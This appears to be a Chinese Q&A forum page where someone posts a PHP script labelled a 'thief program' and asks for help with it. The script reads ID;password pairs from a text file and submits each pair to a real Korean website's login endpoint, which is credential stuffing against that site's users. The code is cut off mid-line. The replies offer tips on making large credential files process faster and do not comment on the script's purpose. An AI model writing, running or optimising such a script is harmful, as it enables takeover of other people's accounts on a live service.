php 小偷程序? 问题

来源:百度知道 编辑:UC知道 时间:2024/06/28 08:06:46
<?
$readFileName="test.txt";
$writeFileName="test_result.txt";
$read_file = fopen($readFileName,"r");
$write_file = fopen($writeFileName,"w");

while(!feof($read_file)){
$result=fgets($read_file);
$info = explode(";",$result);
$loginId = $info[0];
$loginPwd = $info[1];
echo $loginId." ".$loginPwd."<br>";
$url = "http://security.bobaedream.co.kr/member/MemLoginCtrl.php?ID=$loginId&Passwd=$loginPwd";
$contents = file_get_contents($url);
for (;;){
if ($contents != ""){
break;
}
}
$contents = str_replace("<","&alt;",$contents);
$contents = str_replace('"',"'",$contents);<

1, 文件有多大?如果只有几十K以下应该没事;
2, 如果文件很大,可以分拆成小文件,或者干脆存在一个新的数据库表中,一条一条记录读取然后进行判断;
3, 判断用户名和密码的时候,可以把你用户名密码表中的用户名密码字段加上索引,这样也可以提速;

把一个TXT文件按章节拆分成多个文件,就不会影响效率了

加上个 如果文件大于 10K 创建新文件存储。